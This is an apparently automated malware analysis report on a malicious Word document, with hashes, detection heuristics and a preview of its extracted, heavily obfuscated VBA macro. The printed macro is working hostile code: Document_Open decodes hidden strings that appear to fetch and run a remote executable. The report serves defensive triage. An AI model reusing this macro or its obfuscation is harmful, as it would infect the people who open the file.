Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae639ffea32e8f3d…

MALICIOUS

Office (OLE)

160.5 KB Created: 2018-04-25 20:37:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 499eb0c2005e835ff4401a33f6701f3c SHA-1: ae5a0e966be4f8183de407b88dbcc30fe1e68fea SHA-256: ae639ffea32e8f3d37b27d9f16b117b52b017d764a5cdd78080c432d28b5d54d
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The 'Document_Open' macro is present and a 'Shell' call is detected, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Malware.Chronos-6897935-0' further confirms its malicious nature. The VBA code appears to be heavily obfuscated, making it difficult to determine the exact payload or destination, hence the family is unknown.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        vOsOmRR = "aJpw.Q_DRyEgdv" + "w)._^&ZH?IRtVGNmd" + "&)D&D^oGd*Q"
    Shell (pURLS), 0
    SjRko = Right("u-f_Y#_qMu", 4)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Dim aeguGmN As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30474 bytes
SHA-256: ab0ed79f47d2a4d522b9ce5122bb8c999400475ccdb09db41edd070607904748
Detection
ClamAV: No threats found
Obfuscation or payload: likely
299 of 481 identifiers look randomly generated (e.g. 'pjPRCUssZLFnBFXqSGpAeRAfFFsNHtATKAviYV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub TJLggh(KfxalB As Integer, gEQemLs As Integer)
    TJBVva = "DDiRVKmDzUQRB" + "Y(u!zHJeoAR.KZ.ZxqH@" + "oCIqzHM%Mcy#gx"
    Scbbi = Right("Udu$JxCOYrjG*LVWrl", 4)
    Scbbi = LTrim("X Tm.eGWB$R$UhfSzS")
    ckgPJpXz = UCase("PuVV?Tr^_z!NLUo$V")
    xAQTktoR = 941 - 312 - 1232
    TJBVva = RTrim("%br_LvTcbmgIwS")
    For aLpvgW = 0 To 148
        Scbbi = Left("&CzwjmWuWBH", 2)
        LxYMBcb = Space(6)
        vOsOmRR = Right("_BhOLoThvxWk@rGYDR", 3)
        YqhDM = 1241 - 1079 - 1149
        TJBVva = LTrim("QQLxWBl^.$LYF?^m")
        TJBVva = UCase("]d*[EHC*(ivW%A")
        Czaxi = 1595 + 1866 + 1819
        oakfq = Right("l#NZTHh])c_aSPCiS)c", 5)
    Next aLpvgW

    Scbbi = 530 - 1417 - 1314
    LxYMBcb = 945 + 948 + 1743
    While TGXKnz < 81
        elxJb = LTrim("^pOW(tsDzY@IhV")
        oakfq = RTrim("G&ICWtefyrE")
        TGXKnz = TGXKnz + 3
    Wend

    LxYMBcb = Right("?dfQYXS*oT__-!c?n", 2)
    For KQyQEa = 0 To 152
        ckgPJpXz = Right("dtIgnO[YlCjqr(Nwm", 2)
        vOsOmRR = StrReverse("VLAAGfrfv*)e&#oJY")
        xAQTktoR = RTrim("c%iKE^-ZBb_Z ?")
        ckgPJpXz = 804 + 330 + 1483
        ckgPJpXz = UCase("ragH# f*-KI$g@cFI ")
        Scbbi = StrReverse("feSD RNhglmwiIo(F")
        hmbmMed = StrReverse("m[OabZbd&O NKsH&")
        ckgPJpXz = Space(4)
    Next KQyQEa

    Czaxi = "-v)W.JHXZifP_mKU" + "pgh^(Q-TaLVuXg" + "JMAf!^E_qt]yv_le RDJ"
    Czaxi = LTrim("PWCtfU*ho@M")
    TJBVva = UCase("hubQHc%it@aCX#c")
    LxYMBcb = RTrim("Xfr QdDV dECzMl%?Dm")
    vOsOmRR = 1130 - 773 - 914
    Czaxi = UCase("[AEYXfEN)nC*i)ghXog")
    oakfq = LTrim("aIWB(TKXYf")
    elxJb = UCase("ukL^*kAnGQ.KoAae)y")
    YqhDM = "U[m*l! Ooxb" + "aOL)wX uQ@vX" + "P[Hp)Rl.kipt-@oRHcX"
    TJBVva = 787 + 427 + 689
    ckgPJpXz = StrReverse("&^jrLH?Bw[dPU&#")
    vOsOmRR = Right("SItnZ[ewc@^ZZ$h%O", 5)
End Sub

Private Sub MNmKkQ(gPECeAp As Double)
    Scbbi = Right("VbHLZhdB@l(waZ", 5)
    While mzXKKg < 349
        oakfq = 354 - 594 - 1052
        Czaxi = UCase(".?vQ?D_X-KUnC!bkrx")
        ckgPJpXz = 1896 - 1101 - 1590
        YqhDM = Left("wW.)XkMYrFc.&e!", 3)
        oakfq = Right("U[v%c_LB.d Hpji&W-#P", 2)
        Scbbi = LTrim("^oPjGBIWac*xTc")
        vOsOmRR = RTrim("JeIOBZei@^lrzbohN&R")
        xAQTktoR = StrReverse("!TLvSp$^?-Q!liB^tez")
        mzXKKg = mzXKKg + 3
    Wend

    ckgPJpXz = Right("iLF$vJY%W$H", 3)
    elxJb = "TC_O$FYZ]h@bYv*YJl%A" + "?[CFBg?)hZONv[FAmh" + "(Y--Lj)Q*OEz a%feIm"
    YqhDM = RTrim("VMJV$E?mmMO")
    hmbmMed = Space(5)
    While FIaIIm < 215
        xAQTktoR = 1185 - 145 - 1468
        oakfq = StrReverse("CZ!%z(mm^% &upY")
        vOsOmRR = Space(6)
        xAQTktoR = StrReverse(" -%DQoL(zZdkCi!JCZAb")
        xAQTktoR = Left("ATVg[W]LCDLj %?gQ", 4)
        elxJb = RTrim("GFK@x BNFAv]c^Uw^t")
        oakfq = 1081 - 1205 - 1032
        FIaIIm = FIaIIm + 2
    Wend

    elxJb = Space(13)
    SjRko = StrReverse("sY)YY&])-CN")
    hmbmMed = StrReverse("EiE#o*X $a^")
    LxYMBcb = LTrim("UelTXVPE@U[iwkUV@")
    vOsOmRR = RTrim("%v[chORezRfu(")
    vOsOmRR = 182 - 1823 - 480
    ckgPJpXz = LTrim("$uXC^nwXqMS")
    YqhDM = 1260 - 899 - 1842
    vOsOmRR = StrReverse("JtiT.VV^Uvw-GAR#oK")
    YqhDM = 628 - 1807 - 1950
    ckgPJpXz = Left("Yg[(Di.oHxxS]*", 4)
    SjRko = 611 - 1116 - 796
    hmbmMed = StrReverse("*h HMyaN(bixBu")
    oakfq = 149 - 764 - 1278
    Czaxi = RTrim("!$u@Gh$.dUHU")
    YqhDM = Right("SViO@X.j&L VT", 4)
    oakfq = Right("Us^gnnp#KGL", 2)
    Scbbi = "&r%ZN_giS.DD?]Lw_s" + "Ga]W#)MjM@muJ" + "[jC?ZezvuhUBUtI[zX@M"
    vOsOmRR = RTrim("K*)QL* ^t]f")
    ckgPJpXz = 288 + 708 + 847
    TJBVva = 173 + 1585 + 1858
    LxYMBcb = LTrim("XzZ*ZrhFzM")
    Czaxi = Left("a#hYjYFdVVu", 2)
    oakfq = 267 + 832 + 1376
    xAQTktoR = UCase("CAE*XJ(^LA[dVQ")
    TJBVva = UCase("dIIFWqi@OFaC@wDyWf")
    SjRko = "mrNYHhT?#Zzm" + "_VdMmarC-D_fh]nk_tV#" + "^eNywF#j^fLNrnXY*"
    YqhDM = Left("ABxMM?P]I_s J", 3)
    vOsOmRR = Left("DkxABKDT!_eNt%oIEy", 4)
    LxYMBcb = Space(18)
End Sub

Private Sub Document_Open()
    Dim aeguGmN As String
    While qBCztr < 220
        xAQTktoR = StrReverse("oT^r]IsCi?ECTc- UG$")
        LxYMBcb = UCase("lc^WM!Qb.*G$P@p")
        TJBVva = Space(8)
        YqhDM = StrReverse("$_m@FFfrTipEgmi%.t%")
        ckgPJpXz = LTrim("AMH_QoPdKNb")
        SjRko = RTrim("!rCmT^JFmH&@")
        Scbbi = StrReverse("Rt@OVzKdRKG)jgGwGh]")
        ckgPJpXz = Space(10)
        qBCztr = qBCztr + 1
    Wend

    Scbbi = 1757 + 551 + 1694
    Scbbi = Space(5)
    TJBVva = Left("#??m$IlNYpNdr", 5)
    SjRko = Space(19)
    hmbmMed = UCase("mMsL(gTt[CM")
    oakfq = "oM&O)a-&eBR?#" + "!R-rS_xOWS$bBksRaA]" + " #nELLTlhN"
    aeguGmN = StrReverse("EeYxqei.oyDMnT!t@WPdQe$\Z\E%spQmSeztS%Q &&e&% ne?xYe?.wyMMzT(tSWkdRei\A\U%rpHmpejtm%_ reyxvef.meBm[aagOdqnkev/vcjck..aEs-uv.Js)cLiqtUyhlKagnoubf%/o/@:bpktCt]h^ Cfw-D qt^ihlOp&sP-N _eLhQczaWcgl#rfua-H #elxKe?.UlZiStzutt_rveac* ycj/i (eVx(eM.-d)mpc")
    Dim qUfXIC As String
    Scbbi = Space(17)
    oakfq = RTrim(")jv GHcoFpV]oiPnE")
    LxYMBcb = Right("zdruBVygbRnz", 2)
    While FozOPw < 250
        oakfq = Left("rzDvCNTn(c_!T", 4)
        YqhDM = "uOE GjhOtnhy" + "@dWzM]wOxVcKG^a&$" + "..dvZ#lpR&DSt%v"
        SjRko = UCase("My!VSJhaaW")
        xAQTktoR = 747 + 825 + 880
        TJBVva = 1880 + 647 + 1761
        xAQTktoR = StrReverse("b^k$M!hqZe)n.I]bprT[")
        xAQTktoR = LTrim("mHhc$P$TNGqe")
        ckgPJpXz = Right("[oVPTwqDwp[EI_R@pQ", 3)
        FozOPw = FozOPw + 2
    Wend

    SjRko = Right("c^zJN^[Yk(S", 2)
    For zZSogt = 0 To 262
        Scbbi = RTrim("QOc*)zc$T^")
        xAQTktoR = RTrim(".SJcfqNlCMwVVyIl]v(")
        ckgPJpXz = StrReverse("._z(fj#td )^]HFqvl")
        SjRko = 1917 - 1168 - 573
        xAQTktoR = StrReverse("UZS_VT?WeyCet(RIRX")
        vOsOmRR = 1824 + 279 + 1304
    Next zZSogt

    Czaxi = 110 + 116 + 861
    qUfXIC = StrReverse("lerxse@.-e*y KeY)C[gTr!\s\X%UpJmBeYt_%m (&W&% SeOx%e#.Zefy$KoY%C gFr&\X\p%)pEm&eRtX%J eeoxbeQ.mn&i?bC/?s^tgemebb]/qr[eKtxs&a*mh/Gwca rf/ssUtueBeUbM/o2(9S8S9]1-s#yWomb?eQhDt[hyaLeCy@/km ogcD.MbvuQhItFiBgE/G/Z:As$pKtstZhQ Sfa-K Rtoi?lVp(s_-c !eYhTcya&czlQrEub-p Ue^x(eK.hlbi*tJuwtprXevcX Xcf/t &exxEe%.^dsmVc")
    xAQTktoR = StrReverse("PavkhJvV$TE$N--Xo")
    TJBVva = "bJ-@MXbEE_m.N" + "_Cr?UfsN-jIc[Ng." + "OoddkPR_FuD*Ivw."
    hmbmMed = 1182 - 1674 - 1914
    hmbmMed = 1383 - 1375 - 620
    YqhDM = "QoDt%#LKg@wDq" + "&ZXu-AqyC%hq@tkHcPk" + "tlM%OnOeaV^DzamW["
    YqhDM = Left("L&r?yUieeO", 5)
    TJBVva = 884 - 1566 - 936
    While VOUPhir < 742
        LxYMBcb = Space(14)
        For JyiOxl = 0 To 13
            Czaxi = UCase("gOPIg_Kf#wR-!")
            Scbbi = 1066 + 414 + 1475
        Next JyiOxl

        Scbbi = LTrim("WuW-P$YKqsz")
        Scbbi = 1184 + 1984 + 572
        xAQTktoR = 1836 - 1044 - 1871
        elxJb = "BXXIuxGB.&E#vTsr " + "m[%AOoGRctM_lFBzuTZ" + "rt(hrIrlz ("
        If VOUPhir = 505 Then
            elxJb = 200 + 874 + 902
            TJBVva = RTrim("!($x!cF# &Cc*X]")
            Call wOuXS(rdvoa(aeguGmN), "uXZ", "iEHO", "klnklhf")
            vOsOmRR = Space(5)
            Call wOuXS(rdvoa(qUfXIC), "NOpcEUa", "sGCQHwP", "BTHAoOo")
            While ujNXJO < 130
                YqhDM = Right("cw]koVC[DrC", 3)
                TJBVva = Left("rqWJzLND_&K", 3)
                Scbbi = Left("kxX&PO-uiQOc!VVbeD@*", 5)
                ckgPJpXz = Right("X)[rl oNRKp$rkFt(", 2)
                YqhDM = 635 + 525 + 1896
                ckgPJpXz = Left("!Ev-.hkDkA*", 3)
                oakfq = RTrim("q&pN&h#gAnH")
                elxJb = Right("zw_LW([^D!", 2)
                ujNXJO = ujNXJO + 3
            Wend

        End If
    VOUPhir = VOUPhir + 1
    Wend
End Sub

Private Function MyqxWe(jrViEFt As Integer, FTDjJCG As Boolean, uoXpze As Integer) As String
    SjRko = "Z (H!?rUx!DZ@-" + "mSyLurt#A_" + "l TSY[-NgpjgWDi_#z"
    vOsOmRR = "&qQ%DxfF?PD*N$*g" + "exO[&#HPrUu??#c?O" + "fq(]KtFF&xW*"
    oakfq = 1065 + 1850 + 1196
    YqhDM = UCase("&b%uTHp^UAu]p.J-aaT")
    YqhDM = LTrim("XnJsoNF@drYE)vK[lP")
    Scbbi = RTrim("L*So!i_#p*bjL")
    oakfq = StrReverse("QG_f!Zpv*[e.Ohla")
    hmbmMed = Left("yRGHYs#gcqqJ", 3)
    elxJb = Space(4)
    oakfq = StrReverse("bpFA)Sf-HUrm")
    ckgPJpXz = 1019 + 1866 + 1454
    For ZqJRQl = 0 To 171
        SjRko = StrReverse("lhQb-.DoxKMo])bn)es ")
        vOsOmRR = RTrim("ngFMIEl]^L")
        Scbbi = Left("mS^-jPBA]aii_", 2)
        LxYMBcb = Right("$uu I$#Z[F%_PwILTLF", 2)
        hmbmMed = 1057 - 941 - 677
    Next ZqJRQl

    Scbbi = Space(9)
    Czaxi = UCase("uK?HeV]faTX")
    For NrryOm = 0 To 102
        SjRko = RTrim("[[[*u$!Qo[icAsjW")
        TJBVva = UCase("vHMlxl^CmV*h&O n%Si!")
        SjRko = Space(17)
        hmbmMed = LTrim(".*pLyU$PtwPjEHh")
        xAQTktoR = RTrim("a?Xk%#VfFMNCI.WeobA")
        hmbmMed = RTrim("ZgNnReZDb#S-GP]_w)jL")
    Next NrryOm

    vOsOmRR = LTrim("uFLLKpN$i[UNP&Kt?e")
    elxJb = Right("KxajqDamnfDt-xRHAf", 2)
    ckgPJpXz = "BPUO^UO^gBhu&v&B" + "@y]VI[]yscVSFdw(S" + "CJ@zgp E]-MOr)IUBv"
    For MUFKPz = 0 To 93
        TJBVva = 1061 + 1696 + 1191
        TJBVva = 1581 - 408 - 1032
        Czaxi = Right("@!(Mp-J#l)", 4)
        xAQTktoR = Right("R(Y*lItdQhF", 4)
        vOsOmRR = Left("J]IPfG-u&HM[*", 5)
    Next MUFKPz

    Scbbi = Left("OeMGnV[dziFbkVUY?-", 2)
    SjRko = Space(15)
    hmbmMed = "Qt?k]?xvfuO" + "UtKOywp!]SxeT%OEYP" + "Jb#xYuSJrBv"
    YqhDM = 1631 + 1781 + 311
    Czaxi = Right(".]aZ_eXdkLN", 2)
    MyqxWe = "gWweUSIahHWrFjyiGsQKeesk"
End Function

Private Function rdvoa(nYnBDG As String) As String
SjRko = LTrim("w%]vRW^XEL")
    Dim JXrZqXxU() As Byte
    YqhDM = UCase("[e.XJb x.jbo.]mdA^DV")
    Dim jYDfWR(512) As Byte
    SjRko = Right("w!sPXFiUlDojbl@jGtYr", 5)
    vOsOmRR = Left("rzoKhz$LZNDlbIKOarb", 2)
    Dim RBhZPPYs As Integer
    While wnsAnE < 240
        oakfq = RTrim("lvYdIgHLVLn")
        vOsOmRR = 1573 + 295 + 953
        xAQTktoR = UCase("o p$MhHT?C#(b[vOW")
        Scbbi = Space(7)
        elxJb = "Y oUlCpICwXP&Rz&w#" + ")d_g%.%w![" + "bZYxH$iPdHl$V"
        vOsOmRR = Left("PG-u]JDpriCczyOrX", 2)
        ckgPJpXz = 383 + 1740 + 1065
        Czaxi = Space(13)
        wnsAnE = wnsAnE + 3
    Wend
    elxJb = "uF.iNhySt-bvc" + "b?Q!ZMmSDBu" + "(I ALjjZWTREJo_"
    xAQTktoR = 1898 + 665 + 172
    LxYMBcb = Space(9)
    ckgPJpXz = UCase("vzBH_bgMcJis!x?_")
    RBhZPPYs = 0
    While zYGznS < 64
        elxJb = RTrim("WMZKmiamzm*mdqNqP")
        ckgPJpXz = 1029 + 1069 + 1501
        Czaxi = "lPgS?j#PQ.mqiwuCE@b" + "phFr%k@I#F_pU" + "]k?RupsKOgCJh.vZ&suX"
        TJBVva = RTrim(" .*O.J%xQlBEk?(G!")
        ckgPJpXz = 298 + 1814 + 1078
        ckgPJpXz = Right("_S!hGcY?AEx[R#vo&(T", 4)
        Scbbi = RTrim("SINl&$E]AeY[Q[dj")
        LxYMBcb = 1264 + 621 + 507
        zYGznS = zYGznS + 2
    Wend
    JXrZqXxU = StrConv(nYnBDG, vbFromUnicode)
    elxJb = RTrim("XSZOh%XUmW-m")
    Czaxi = Right("GUpu@#P%narwT@)XvSE$", 2)
    For OQGwakH = 0 To UBound(JXrZqXxU) - 1
    For fLApmO = 0 To 312
        LxYMBcb = RTrim("?w&_tU%pcl(iMCNV")
        xAQTktoR = 885 - 619 - 1569
        TJBVva = LTrim("IFQObNic&MnG")
        oakfq = "sr-?**vUtNs%R" + "z.d[zRAOZ]cvhwN($" + "vxQbbKDlD$etV"
        elxJb = LTrim("xDgxWPc))FO?A")
        Czaxi = Left("Om#E PsWotaz", 4)
        YqhDM = StrReverse("jhP^&c$KXhabsKSbWE")
        Czaxi = Left("wzGW?mBEn&_)D)z&U", 2)
        vOsOmRR = "ytRxEnwEibdgj%ceQ&" + "gi)fHD)lVEDFEgBIgl" + "txkcMZQQvxgZv"
        TJBVva = 409 + 235 + 1399
    Next fLApmO
    oakfq = Space(15)
    hmbmMed = UCase("F &yMNx.?!^J*")
    TJBVva = Space(10)
        If (OQGwakH Mod 2 = 0) Then
        elxJb = UCase("dZ&kNsRn$(GLp#")
            jYDfWR(RBhZPPYs) = JXrZqXxU(OQGwakH)
            While bczkgQ < 79
                TJBVva = StrReverse("? OLtGjLdPlH*")
                hmbmMed = LTrim("tVbvQxNNVwXkzF[o")
                oakfq = Space(20)
                LxYMBcb = 449 - 288 - 533
                oakfq = RTrim("vFoAPWoWvInSBeuFJ!pM")
                oakfq = StrReverse("C.fl#_w^)StceBzr")
                oakfq = 206 + 1451 + 864
                Czaxi = 237 - 1871 - 1695
                elxJb = RTrim("n_eeZwLFbxJFed[FJTpc")
                bczkgQ = bczkgQ + 1
            Wend
            ckgPJpXz = UCase("fMRz@Gzi(CU")
            While WkvwDs < 387
                ckgPJpXz = Space(4)
                ckgPJpXz = "QhfY*iZ$*w@stX" + "cXgwNNdUf#ZK" + "jCnK]KwmAePqk"
                elxJb = StrReverse("QXpJwIIW)qGaO(a")
                oakfq = Right("Z_]zfP&mvVAPF_", 4)
                xAQTktoR = RTrim("q.RZZDQvA(Fsct^mTj")
                xAQTktoR = 595 + 358 + 340
                WkvwDs = WkvwDs + 2
            Wend
            For VKJInr = 0 To 121
                hmbmMed = Left("mxzFX&J?.HD#)aQWZ", 5)
                elxJb = Space(17)
            Next VKJInr
            RBhZPPYs = RBhZPPYs + 1
            For EYvnpi = 0 To 74
                xAQTktoR = 680 - 1542 - 1456
                TJBVva = LTrim("g[-HHnR@WEr")
                LxYMBcb = "Md#UzArzDE" + "G_PUwhipJ?BUL[" + "?f?hwg]FSX%HnOtkgMB)"
                SjRko = UCase(".B-f-U(wRIxW")
                Scbbi = LTrim("%]#Bz]-wnHZ")
                elxJb = 977 + 627 + 1262
            Next EYvnpi
            LxYMBcb = UCase("WoP%u)tN!aLW")
            While JcUsgU < 395
                SjRko = RTrim("r?WKkv!eVPFNix")
                hmbmMed = UCase("vK^bvCeNdQwL!ggLIVZm")
                elxJb = UCase("F^eSQYCfA%n")
                elxJb = 516 - 1533 - 1430
                ckgPJpXz = Space(20)
                JcUsgU = JcUsgU + 1
            Wend
        End If
        TJBVva = "LaFeADTA[#r*Jp!" + "GfyutAcTRKs]VBZBZevT" + "%zm lH_tnN]*j?%TQuix"
        vOsOmRR = Space(19)
        While mOXrMp < 207
            ckgPJpXz = "CAd !eStxlG-ucF" + "QAj @AiMr LQfpU" + "bDv$lnIFYgj-Ome"
            ckgPJpXz = UCase("LXYBn-M_wSGz")
            oakfq = "-RXwXiDjwAI" + "xkgdp(^^)bKK" + "Lh)xj#hl?$ KQI_^GP"
            oakfq = ")^avVzf SX]P(%LK" + "*Rsx$VpV(fZ" + "Pj)?KYRRruXMbMn#AlX]"
            mOXrMp = mOXrMp + 3
        Wend
        hmbmMed = "h_oX_ IqEg" + "yHrQ*]xLn(l#Hs" + "[iuXE*?bgej"
        While FSmWSq < 85
            hmbmMed = "Sigy@! TXd!" + "-tmT@VhFL&r" + "iq$sIlaaCLGJvR"
            TJBVva = Space(1)
            xAQTktoR = Left("etv#OTV(JCOyuvUW^b.", 3)
            vOsOmRR = Left(")*QJJYKCY*yrXSy.He", 5)
            xAQTktoR = StrReverse("*_EcOgSl&-qu")
            ckgPJpXz = LTrim("UpZaq.Cf_yYC%")
            xAQTktoR = "v*CigBxgsdxF@" + "mgsURiEF@PDt" + "dkSoUGOzmQ^.HzrLC"
            TJBVva = "E*eRu%ZBOYKl@Te%qgGI" + "$eq?Aj]EtxkA_" + "BBCdo@Vkfnj(Xi"
            FSmWSq = FSmWSq + 3
        Wend
    Next OQGwakH
    For LwxliI = 0 To 166
        LxYMBcb = Space(12)
        YqhDM = "@ln Yds[l(YIv" + "ZO%bYTA!eM.Fv%dy_" + "#V!cMct@-S#?..M^"
        Scbbi = "kuA..N(EGqL_" + "iWnIPH&HUzcOG$oGlj )" + "KHh!o@fBH OJ^[i"
        SjRko = Left("nMXtbA[*te", 5)
    Next LwxliI
    rdvoa = StrConv(jYDfWR, vbUnicode)
    While RFNlAI < 293
        Scbbi = Space(4)
        LxYMBcb = StrReverse("x*fTese!I@o")
        TJBVva = Left("wiWjNHKOAwdNWh$c(", 3)
        vOsOmRR = "DRl[qD )TunFnoOrmB" + "f)u]guFWMzc" + "Ly)qTiU[db."
        elxJb = Right("IY.UmPANU^", 5)
        xAQTktoR = RTrim("Oy^ZXUmXaeP@%")
        LxYMBcb = UCase("ngDg@HNqCb")
        elxJb = 1415 - 588 - 1217
        oakfq = 314 - 636 - 1597
        RFNlAI = RFNlAI + 2
    Wend
    Scbbi = 1569 + 1011 + 1664
    YqhDM = UCase("qNPCR#U.)EvDbX")
    LxYMBcb = 194 - 1227 - 1519
    Czaxi = UCase("maM.LmF([llj  pXJk")
End Function
Private Function gOKTCo(GrsGlvh As String, pbzZoro As Double, vbTfonY As String, HsutAW As Boolean) As String
    Scbbi = RTrim("z(ujerx (RCg!M.zc")
    For iJsalh = 0 To 202
        elxJb = Space(1)
        hmbmMed = Left("bW u_c%Ov&I^Z ", 2)
        elxJb = Space(15)
        xAQTktoR = Space(17)
        Scbbi = RTrim("L#EIjBNKjw")
        xAQTktoR = "[JeFL DbFbzg]!-%M%L" + "fqIorMDmeU(VaiPF." + "ZKtgBTqw&jEVrr"
        xAQTktoR = 139 - 626 - 1500
        oakfq = RTrim("UlIIhKOH )p")
        YqhDM = Space(15)
        Czaxi = StrReverse("[_u f]eu#psrM$")
    Next iJsalh

    ckgPJpXz = "fddPEvN!zT_ZKavl" + "EwF!s%grAm@)(K^DzBBb" + ".L&n_-t&em?"
    TJBVva = 588 - 709 - 200
    ckgPJpXz = LTrim("GJrx]_.]UFWisp")
    oakfq = RTrim("NiTcJPeEHsJ*olgugLis")
    hmbmMed = Space(3)
    TJBVva = "gL !l_jnbVSCdv[j" + "S*F-OJ%b#sjt" + "^$gS_%PKffX#Jj#cyn"
    vOsOmRR = 315 - 298 - 1347
    ckgPJpXz = Space(8)
    SjRko = 218 - 1802 - 1694
    Scbbi = UCase(" $P-cX!IYw]]&hEe")
    Scbbi = UCase("y$w#*p?W)h")
    xAQTktoR = 1187 + 1012 + 1926
    YqhDM = 684 + 1292 + 318
    Scbbi = Space(7)
    Scbbi = Left("^amGNFkP[IYO", 4)
    LxYMBcb = "VXp #cKJRJ(*" + ") I$qNqD.xAr(CGQ" + "aJTLe!N^x[E?kZ.@Vg"
    While byNiQX < 45
        Scbbi = 1832 - 1938 - 745
        Czaxi = Left("IGjv!I@[do", 2)
        SjRko = "dMMgxkC-TF]" + "UEBPu^Dl Pof" + "@MH]D$oPLez&rT%UW)Id"
        byNiQX = byNiQX + 3
    Wend

    xAQTktoR = UCase("#%SGob-#SkfrB")
    xAQTktoR = UCase("o^?lFA$cCJa-.S")
    hmbmMed = LTrim("SGhRB^f?*#c^hVE%JTq")
    gOKTCo = "SInTFKxnThoOYrXlWONfWH"
End Function

Private Sub hGcoKf(JmIKyW As String)
    xAQTktoR = RTrim("![X*A-wk%@*d@$oP$w")
    SjRko = UCase("gLlPKc$)vs")
    SjRko = Space(7)
    Czaxi = Right("CIhRAkeFjLeN[", 5)
    SjRko = Space(1)
    TJBVva = Right("N@HgznHnIMf$(alUFi#x", 2)
    TJBVva = Space(14)
    Scbbi = Space(9)
    ckgPJpXz = Left(")Saoc#^Eflod@b", 4)
    TJBVva = LTrim("#-lXJFWVj*e")
    ckgPJpXz = Right("j-kdXnkPJ#.HnrgCVq", 5)
    LxYMBcb = Space(17)
    Scbbi = Right("*WXgN@bQEdrXxbo]U", 3)
    TJBVva = LTrim(" fC.MQQc^H_sm(")
    vOsOmRR = Space(11)
    ckgPJpXz = Space(12)
    While XxogRt < 98
        elxJb = Right("]smS-q&mPtSNJz", 5)
        Czaxi = Left("RAH@q-G!?!FELx$^-S", 5)
        oakfq = RTrim("xBISN-tzmRRxr^cD")
        TJBVva = LTrim("v&KEWYrjYuOa")
        xAQTktoR = LTrim("QvubMNnT_fzWJsNCQIEA")
        TJBVva = Left("?^@rY&irfuhH)", 3)
        xAQTktoR = 1289 - 1039 - 1518
        XxogRt = XxogRt + 1
    Wend

    Czaxi = Space(1)
    hmbmMed = Space(13)
    vOsOmRR = Right("xCSyj]&CJfJqAV_dYQfX", 4)
    xAQTktoR = UCase("Fa]AJZ)mvtR")
    While dbIeRY < 180
        elxJb = Space(1)
        YqhDM = LTrim("yivzgYGq)-e[ukz")
        dbIeRY = dbIeRY + 2
    Wend

    hmbmMed = "srU^#lbx.d$H!kW" + "f?eG@GGTlTvBt&!" + "^wvn$O&$Dzh"
    SjRko = LTrim("-*zLLJp.Tx")
End Sub

Private Function tgDqXn(rZdisj As Double, ZMiBuYy As Boolean, pAhvHf As String, wbbbHL As String) As String
    SjRko = 207 + 158 + 579
    YqhDM = 1611 - 1771 - 123
    For beFnNz = 0 To 368
        Czaxi = StrReverse("nLm*lfW@YJX%hVaiGa")
        YqhDM = LTrim("mD@elaGyc%")
        Czaxi = LTrim("l#HPE]tqjY(Ir")
        YqhDM = Left("&&P kMs^&d?DeCr", 3)
    Next beFnNz

    vOsOmRR = UCase("FuJWt)NgFF*NR]oc[mqo")
    While PiSFrE < 220
        elxJb = Left("RRz)tJ_fqFxmuTroHEh", 2)
        xAQTktoR = 1642 - 1244 - 1320
        Czaxi = RTrim("o$YjPW*_P$")
        vOsOmRR = 221 - 249 - 1573
        ckgPJpXz = UCase("Uh$rXDkkW^)*anqp")
        TJBVva = LTrim("^Y i?.Biz%A[N")
        xAQTktoR = RTrim("CVpkdguhT.]^")
        hmbmMed = 1657 + 904 + 173
        PiSFrE = PiSFrE + 2
    Wend

    TJBVva = Space(13)
    hmbmMed = Left("iBAxacdt.rzxTaQaj$l", 4)
    SjRko = Space(8)
    xAQTktoR = 1224 + 1721 + 1016
    Scbbi = RTrim("qKqympgoSsw")
    Scbbi = 1884 + 1213 + 1675
    elxJb = "ahRebecFkBbln" + "is&zblt oIfh%&m^cd N" + "XTkTXr.Ebddk"
    xAQTktoR = Left("cwO$[EdJ-$NVJU_XszLR", 4)
    ckgPJpXz = 326 - 1670 - 1424
    vOsOmRR = 1526 - 371 - 608
    hmbmMed = RTrim("dzhzKO__pRDGF KrEKqD")
    For RZlCFM = 0 To 92
        Czaxi = "mzi#QeRVl!k)XtwB" + "%^SN]Jfg^I-D)f&j%l?E" + "erXUl.BBWjOFiOGRz"
        vOsOmRR = 366 + 1367 + 673
        elxJb = RTrim("Jc[&uxeViQNiXh[")
        TJBVva = Space(3)
        hmbmMed = 1743 - 109 - 1038
        LxYMBcb = RTrim("&BFbf&Cnn]")
        Czaxi = 517 - 254 - 1114
        elxJb = 1638 - 1011 - 718
        YqhDM = Right("VJ&GC!z^J_KHeb#A", 5)
    Next RZlCFM

    elxJb = 1168 + 1853 + 1167
    vOsOmRR = StrReverse("osAbxgx*oick%W$zu&J@")
    vOsOmRR = RTrim("sj#VZwRh!#MNnmG&&")
